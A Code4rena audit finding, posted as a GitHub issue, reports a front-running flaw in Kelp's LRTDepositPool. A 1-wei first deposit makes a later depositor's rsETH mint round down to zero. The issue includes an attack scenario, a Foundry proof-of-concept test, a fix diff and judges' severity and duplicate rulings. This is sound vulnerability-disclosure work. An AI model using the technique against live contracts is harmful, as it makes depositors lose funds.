Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Depositor may be grief attacked and no rsETH will be minted #275

Closed
c4-submissions opened this issue Nov 14, 2023 · 8 comments
Closed

Depositor may be grief attacked and no rsETH will be minted #275

c4-submissions opened this issue Nov 14, 2023 · 8 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-62 edited-by-warden satisfactory satisfies C4 submission criteria; eligible for awards sufficient quality report This report is of sufficient quality upgraded by judge Original issue severity upgraded from QA/Gas by judge

Comments

@c4-submissions
Copy link
Contributor

c4-submissions commented Nov 14, 2023

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L136-L141

Vulnerability details

Impact

Depositor may be grief attacked and no rsETH will be minted.

Proof of Concept

Depositor can mint rsETH by depositing asset through depositAsset(...) function.
Asset will be transferred from depositor to the protocol:

        if (!IERC20(asset).transferFrom(msg.sender, address(this), depositAmount)) {
            revert TokenTransferFailed();
        }

Then rsETH will be minted through _mintRsETH(...) function:

        uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);

The amount of rsETH to be minted is calculated is determined by rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice(), here lrtOracle.getRSETHPrice() returns the rsETH price:

        for (uint16 asset_idx; asset_idx < supportedAssetCount;) {
            address asset = supportedAssets[asset_idx];
            uint256 assetER = getAssetPrice(asset);


            uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset);
            totalETHInPool += totalAssetAmt * assetER;


            unchecked {
                ++asset_idx;
            }
        }


        return totalETHInPool / rsEthSupply;

As we can see from above, the rsETH price is determined by the asset owned by the protocol and the total supply of rsETH. However, as the asset will be transferred to protocol before minting, the depositor may not receive a correct amount of rsETH, and even worse, depositor can be grief attacked and receive no rsETH at all.
Imagine the following scenario:

  1. Alice submits a transaction to mint rsETH by depositing 1 ether stETH (price is 1e18);
  2. Bob front-runs Alice's transaction and deposits 1 wei stETH;
  3. Because Bob is the first depositor, 1 wei rsETH will be minted to Bob, so totalETHInPool is 1 and rsEthSupply is 1;
  4. Alice's transaction is executing, because 1 ether is transferred before minting, so totalETHInPool is 1e18 + 1 and rsEthSupply is 1, rsETH price is 1e18 * (1e18 + 1);
  5. rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice() = (1e18 * 1e18) / (1e18 * (1e18 + 1)) = 0;
  6. Alice is thus grief attacked and received no rsETH.

Please see below test case:

function test_AuditDepositAsset() external {
        ProxyAdmin proxyAdmin = new ProxyAdmin();
        LRTOracle lrtOracleImpl = new LRTOracle();
        TransparentUpgradeableProxy lrtOracleProxy = new TransparentUpgradeableProxy(
            address(lrtOracleImpl),
            address(proxyAdmin),
            ""
        );
        LRTOracle lrtOracle = LRTOracle(address(lrtOracleProxy));
        lrtOracle.initialize(address(lrtConfig));

        vm.startPrank(manager);
        lrtOracle.updatePriceOracleFor(address(stETH), address(new MockPriceOracle()));
        lrtOracle.updatePriceOracleFor(address(cbETH), address(new MockPriceOracle()));
        lrtOracle.updatePriceOracleFor(address(rETH), address(new MockPriceOracle()));
        vm.stopPrank();

        vm.startPrank(admin);
        lrtConfig.setContract(LRTConstants.LRT_DEPOSIT_POOL, address(lrtDepositPool));
        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(lrtOracle));
        vm.stopPrank();


        vm.startPrank(bob);
        rETH.approve(address(lrtDepositPool), 1);
        lrtDepositPool.depositAsset(rETHAddress, 1);
        uint256 bobBalance = rseth.balanceOf(address(bob));
        console.log(bobBalance);
        vm.stopPrank();

        vm.startPrank(alice);

        rETH.approve(address(lrtDepositPool), 1 ether);
        // lrtDepositPool.depositAsset(rETHAddress, 2 ether);
        lrtDepositPool.depositAsset(rETHAddress, 1 ether);

        uint256 aliceBalance = rseth.balanceOf(address(alice));
        assertEq(aliceBalance, 0);

        vm.stopPrank();
    }

Tools Used

Manual Review

Recommended Mitigation Steps

When depositing, rsETH should be minted before transferring asset.

+       // interactions
+       uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);

        if (!IERC20(asset).transferFrom(msg.sender, address(this), depositAmount)) {
            revert TokenTransferFailed();
        }


-       // interactions
-       uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);

Assessed type

Math

@c4-submissions c4-submissions added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Nov 14, 2023
c4-submissions added a commit that referenced this issue Nov 14, 2023
@c4-pre-sort c4-pre-sort added the sufficient quality report This report is of sufficient quality label Nov 16, 2023
@c4-pre-sort
Copy link

raymondfam marked the issue as sufficient quality report

@c4-pre-sort
Copy link

raymondfam marked the issue as duplicate of #42

@c4-judge
Copy link
Contributor

c4-judge commented Dec 1, 2023

fatherGoose1 marked the issue as not a duplicate

@c4-judge c4-judge reopened this Dec 1, 2023
@fatherGoose1
Copy link

Doesn't describe the standard donation attack. Instead highlights the issue with using the deposited funds in the share calculation, sharing impact with #62.

@c4-judge c4-judge closed this as completed Dec 1, 2023
@c4-judge
Copy link
Contributor

c4-judge commented Dec 1, 2023

fatherGoose1 marked the issue as duplicate of #62

@c4-judge c4-judge added duplicate-62 satisfactory satisfies C4 submission criteria; eligible for awards labels Dec 1, 2023
@c4-judge
Copy link
Contributor

c4-judge commented Dec 1, 2023

fatherGoose1 marked the issue as satisfactory

@c4-judge c4-judge added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value and removed 3 (High Risk) Assets can be stolen/lost/compromised directly labels Dec 1, 2023
@c4-judge
Copy link
Contributor

c4-judge commented Dec 1, 2023

fatherGoose1 changed the severity to 2 (Med Risk)

@c4-judge c4-judge added downgraded by judge Judge downgraded the risk level of this issue 3 (High Risk) Assets can be stolen/lost/compromised directly upgraded by judge Original issue severity upgraded from QA/Gas by judge and removed 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value downgraded by judge Judge downgraded the risk level of this issue labels Dec 1, 2023
@c4-judge
Copy link
Contributor

c4-judge commented Dec 4, 2023

fatherGoose1 changed the severity to 3 (High Risk)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-62 edited-by-warden satisfactory satisfies C4 submission criteria; eligible for awards sufficient quality report This report is of sufficient quality upgraded by judge Original issue severity upgraded from QA/Gas by judge
Projects
None yet
Development

No branches or pull requests

5 participants